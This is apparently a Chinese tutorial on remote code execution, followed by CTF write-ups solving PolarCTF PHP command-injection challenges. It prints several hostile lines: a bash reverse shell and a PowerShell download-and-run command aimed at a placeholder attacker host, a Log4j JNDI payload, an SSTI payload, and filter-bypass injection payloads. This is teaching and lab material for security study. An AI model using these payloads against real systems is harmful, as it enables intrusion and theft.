Skip to content

RCE(远程代码执行)

RCE(Remote Code Execution,远程代码执行)是一种高危安全漏洞,允许攻击者通过网络在目标系统上执行任意代码,从而完全控制服务器或应用程序。它是渗透测试和漏洞利用中最危险的攻击方式之一。

1. RCE 的核心概念

  • 远程:攻击者通过网络(如HTTP请求、API调用等)触发漏洞,无需物理接触目标。
  • 代码执行:可在目标系统运行操作系统命令、植入恶意软件、窃取数据等。
  • 危害等级:通常为 严重(Critical),可导致服务器沦陷、数据泄露、内网渗透。

2. 常见触发场景

(1) Web 应用漏洞

  • 输入注入

    bash
    # 示例:通过参数注入命令(如PHP的system函数)
    http://example.com/exec.php?cmd=whoami
  • 反序列化漏洞:不当处理序列化数据导致代码执行(如Java的Apache Commons Collections)。

  • 模板注入(SSTI):Jinja2、Twig等模板引擎未过滤用户输入。

    python
    # Flask SSTI 示例
    {{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

(2) 服务端软件漏洞

  • 中间件漏洞:如Apache Struts2、Log4j(CVE-2021-44228)。

    bash
    # Log4j RCE 示例
    ${jndi:ldap://attacker.com/exploit}
  • 数据库漏洞:如MySQL的into outfile写Shell、PostgreSQL的COPY命令。

(3) 系统服务漏洞

  • 缓冲区溢出:如EternalBlue(MS17-010)攻击Windows SMB服务。
  • 默认凭据:通过SSH、RDP等执行命令。

3. 攻击流程示例

以Web应用为例:

  1. 发现注入点:找到未过滤的用户输入(如URL参数、表单字段)。

  2. 测试命令执行

    bash
    http://victim.com/api?input=;id
  3. 获取交互式Shell

    bash
    # 反弹Shell(Linux)
    bash -i >& /dev/tcp/attacker-ip/4444 0>&1
    
    # PowerShell(Windows)
    IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')
  4. 提权与横向移动:利用系统漏洞扩大控制范围。

4. 检测与防御

检测方法

  • 黑盒测试
    • 工具:Burp Suite、Metasploit、Nmap脚本(如http-vuln-cve2017-5638)。
    • 手动测试:输入特殊字符(; & | $())观察响应。
  • 白盒审计
    • 检查代码中危险函数(如eval()system()Runtime.exec())。

防御措施

  • 输入过滤
    • 使用白名单验证用户输入。
    • 转义特殊字符(如< > & ;)。
  • 最小权限
    • 应用程序以低权限用户运行。
    • 禁用不必要的系统命令调用。
  • 安全配置
    • 关闭危险函数(如PHP的disable_functions=system,passthru)。
    • 定期更新中间件和库(如修复Log4j)。

5. 经典案例

  1. Log4j (CVE-2021-44228)
    • 通过日志记录中的JNDI注入触发RCE。
  2. Apache Struts2 (S2-045)
    • 恶意Content-Type头导致OGNL表达式执行。
  3. EternalBlue
    • 利用SMB协议漏洞攻击Windows系统。

6. 工具推荐

工具用途
Metasploit自动化漏洞利用(含RCE模块)
Burp Suite手动测试Web应用RCE
SQLmap数据库相关RCE(如--os-shell
Nmap扫描网络服务漏洞

7.总结

  • RCE本质:通过漏洞在目标系统执行任意命令。
  • 关键点:输入验证不严 + 危险函数调用。
  • 防御核心:过滤输入、最小权限、及时补丁。

在渗透测试中,RCE通常是获取系统权限的“终极武器”,需谨慎合法使用!

8.执行函数

php
# 常用命令执行器函数

system()
passthru()
exec()
shell_exec()
popen()/proc_open()

9.题目复现

题目:[简单rce]

  • 题目来源:Polarctf-web-[简单rce]

image-20250404181322826

  • 解题:

代码审计

php
<?php
/*

PolarD&N CTF

*/
highlight_file(__FILE__);
function no($txt){	# WAF:检测$txt是否匹配这些命令,如果不匹配则返回$txt(即执行)
    if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){
    return $txt;}
   else{
die("what's up");}}
$yyds=($_POST['yyds']);
if(isset($_GET['sys'])&&$yyds=='666'){	# 要求get传参sys,post传参yyds=666,满足则执行no($_GET['sys']
  eval(no($_GET['sys']));
  }
  else
    {echo "nonono";
}
?> nonono

分析结果:post传参yyds=666,get传参sys,如果传递的sys绕过了WAF,则执行sys命令,可利用sys传参实现任意代码执行

由于未过滤执行函数passthru(),故可以利用该函数实现任意代码执行

(1)sys=passthru('ls');

查看当前路径下有什么文件,仅有一个index.php文件

image-20250404182643656

(2)sys=passthru('sort%09index.php');

  • sort:Linux 系统命令,用于对文件内容排序并输出内容。
  • %09:URL 编码的 水平制表符(\t,在 Shell 中相当于空格。

查看index.php文件,该文件即为初始显示的前端页面,无利用点

image-20250404183515593

(3)sys=passthru('ls%09/');

查看顶级目录(根目录)下有什么文件

image-20250404183750172

看到存在可疑文件flag

(4)sys=passthru('sort%09/flag');

排序并输出flag文件

image-20250404184021305

(5)也可以使用sys=passthru('vi%09/flag');

image-20250404184507443

题目:[rce1]

  • 题目来源:Polarctf-web-[rce1]

image-20250405133055755

  • 解题:

代码审计

这段代码实现了一个简单的 Ping 测试工具,用户可以通过表单提交一个 IP 地址,服务器会执行 ping 命令并返回结果。

  1. 命令注入漏洞 (高危)
  • 漏洞位置: $cmd = "ping -c 4 {$ip}";exec($cmd, $res);

  • 问题描述: 代码仅过滤了空格字符,攻击者可以使用以下方式绕过:

    • 使用制表符 %09 代替空格
    • 使用 ${IFS} (Bash 内部字段分隔符)代替空格(本题使用这个)
    • 使用重定向符号 <> 不需要空格
    • 使用 ;&&|| 等命令连接符
  • 攻击示例:

    127.0.0.1;cat${IFS}/etc/passwd
    127.0.0.1%0als${IFS}-l
  1. 输入验证不足 (中危)
  • 问题描述: 仅检查了是否包含空格,没有进行有效的 IP 地址格式验证
php+HTML
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/ /", $ip, $m)) {	# 检测ip是否含有空格,如果不含有则进入里层,m用于存储匹配的数组
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);	# 执行cmd命令,res用于存储命令的每一行输出
    } else {
        $res = $m;
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>ping</title>
</head>
<body>
<style>
    html{
        height:100%;
    }
    body{
        padding: 0;
        margin: 0;
        background: url(1.png);
        background-size: 100% 100%;
        position: absolute;
    }
    
</style>

<h1>就过滤了个空格,能拿到flag算我输</h1>

<form action="#" method="GET">
    <label for="ip">IP : </label><br>
    <input type="text" id="ip" name="ip">
    <input type="submit" value="Ping">
</form>

<hr>

<pre>
<?php
if ($res) {
    print_r($res);
}
?>
</pre>

<?php
show_source(__FILE__);
?>

</body>
</html>

image-20250405143123284

用分号闭合ping命令,输入ls,点击"Ping"查看当前目录文件

image-20250405140419797

image-20250405140536606

使用命令查看可疑文件,由于过滤了空格,此处使用${IFS}进行绕过:;cat${IFS}fllllaaag.php

image-20250405140934509

点击"Ping"

image-20250405140950883

成功回显,查看源码获得flag

image-20250405141029948

题目:[某函数的复仇]

  • 题目来源:polarctf-web-[某函数的复仇]

image-20250424160301561

  • 解题:

代码审计:

php
<?php
highlight_file(__FILE__);
//flag:/flag
if(isset($_POST['shaw'])){
    $shaw = $_POST['shaw'];
    $root = $_GET['root'];
    if(preg_match('/^[a-z_]*$/isD',$shaw)){
        if(!preg_match('/rm|ch|nc|net|ex|\-|de|cat|tac|strings|h|wget|\?|cp|mv|\||so|\$/i',$root)){
            $shaw('',$root);
        }else{
            echo "Almost there^^";
        }
    }
}
?>
txt
正则表达式 /^[a-z_]*$/isD 讲解

^:这是一个锚点,表示匹配字符串的开始。它确保了正则表达式从字符串的最开始位置开始匹配。

[a-z_]:这是一个字符集,它匹配小写字母(a-z)和下划线(_)。在这个字符集内,任何一个字符都会被认为是有效的匹配字符。

*:这是量词,表示匹配前面的字符集零次或多次。也就是说,这个正则表达式会匹配由小写字母和下划线组成的字符串,长度可以为零(空字符串也可以匹配)。

$:这是另一个锚点,表示匹配字符串的结束。它确保了正则表达式从字符串的最末尾结束匹配。

i(修饰符):这是一个正则表达式的标志,表示忽略大小写。在这个表达式中,a-z 会匹配所有字母,无论是大写还是小写。因此,[a-z_] 会匹配字母(大小写都可以)和下划线。

s(修饰符):这个修饰符表示“dotall”模式,在这个模式下,.(点号)可以匹配换行符。虽然这个正则表达式本身并没有使用.,但如果它用于更复杂的表达式中,s标志会让dot匹配所有字符,包括换行符。

D(修饰符):这是“Unicode修饰符”的一个变种。它限制了正则表达式的匹配字符只能是单字节的字符,在一些特定的环境中,D可能会影响匹配行为,但它在普通正则表达式中并不常见。

使用动态创建匿名函数的函数create_function

解题payload:

image-20250424162107840

create_function漏洞详细解析

create_function('', $root)执行时,它在PHP内部实际上是这样工作的:

  1. PHP会动态创建一个匿名函数,大致如下:

    php
    function anonymous() {
        这里是$root的内容
    }
  2. 当我们传入$root = }system(%22s\ort%20/flag%22);/*时,PHP实际生成的代码就变成了:

    php
    function anonymous() {
        }system("s\ort /flag");/*
    }
  3. 注意看第一个},它提前闭合了函数定义的大括号,使后面的代码跳出了函数体的范围

  4. 接着system("s\ort /flag")会作为独立的PHP代码执行,而不是函数体内的代码

  5. 最后/*是多行注释的开始,它注释掉了后面所有内容(包括函数定义末尾多余的}),防止PHP解析出语法错误

题目:[干正则]

  • 题目来源:polarctf-web-[干正则]

image-20250416211642512

  • 解题:

代码审计

php
<?php
error_reporting(0);
if (empty($_GET['id'])) {
    show_source(__FILE__);
    die();
} else {
    include 'flag.php';
    $a = "www.baidu.com";
    $result = "";
    $id = $_GET['id'];
    @parse_str($id);
    echo $a[0];
    if ($a[0] == 'www.polarctf.com') {
        $ip = $_GET['cmd'];
        if (preg_match('/flag\.php/', $ip)) {
            die("don't show flag!!!");
        }

        $result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
        # 假设a[0]=www.baidu.com,ip=127.0.0.1,则'ping -c 2 ' . $a[0] . $ip结果为
        # ping -c 2 www.baidu.com 127.0.0.1
        if ($result) {
            echo "<pre>{$result}</pre>";
        }
    } else {
        exit('其实很简单!');
    }
}

payload

url
?id=a[0]=www.polarctf.com&cmd=|tac f*

讲解

txt
?id=a[0]=www.polarctf.com
	"@parse_str($id);" 解析为$a = array(0 => "www.polarctf.com")
	覆盖掉字符串$a = "www.baidu.com",即将原来的a[0]=w改为了a[0]=www.polarctf.com
	绕过if ($a[0] == 'www.polarctf.com')

cmd=|
	|管道符用于闭合"ping -c 2 ' . $a[0]",也可以用";"闭合

tac f*
	执行的命令,获取flag.php

题目:[cool]

  • 题目来源:polarctf-web-[cool]

image-20250426212725921

  • 解题:
php
 <?php
if(isset($_GET['a'])){
    $a = $_GET['a'];
    if(is_numeric($a)){	# a不能是数字
        echo "no";
    }
    if(!preg_match("/flag|system|php/i", $a)){	# 简单WAF过滤
        eval($a);	# eval用于执行字符串中的PHP代码
    }
}else{
    highlight_file(__FILE__);
}
?>

构造payload,绕过systemflag过滤

url
?a=passthru("cat f*");

image-20250426213550763

题目:[覆盖]

  • 题目来源:polarctf-web-[覆盖]

image-20250427160158600

  • 解题:
php
 <?php
error_reporting(0);
if (empty($_GET['id'])) {
    show_source(__FILE__);
    die();
} else {
    include 'flag.php';
    $a = "www.baidu.com";
    $result = "";
    $id = $_GET['id'];
    @parse_str($id);
    echo $a[0];
    if ($a[0] == 'www.polarctf.com') {	# 需要利用parse_str覆盖原来的a
        $ip = $_GET['cmd'];
        $result .= shell_exec('ping -c 2 ' . $a[0] . $ip);	# 闭合ping命令并rce
        if ($result) {
            echo "<pre>{$result}</pre>";
        }
    } else {
        exit('其实很简单!');
    }
}

parse_str()变量覆盖,payload:

?id=a[0]=www.polarctf.com&cmd=|tac f*

image-20250427160330793

滇ICP备2025057983号-1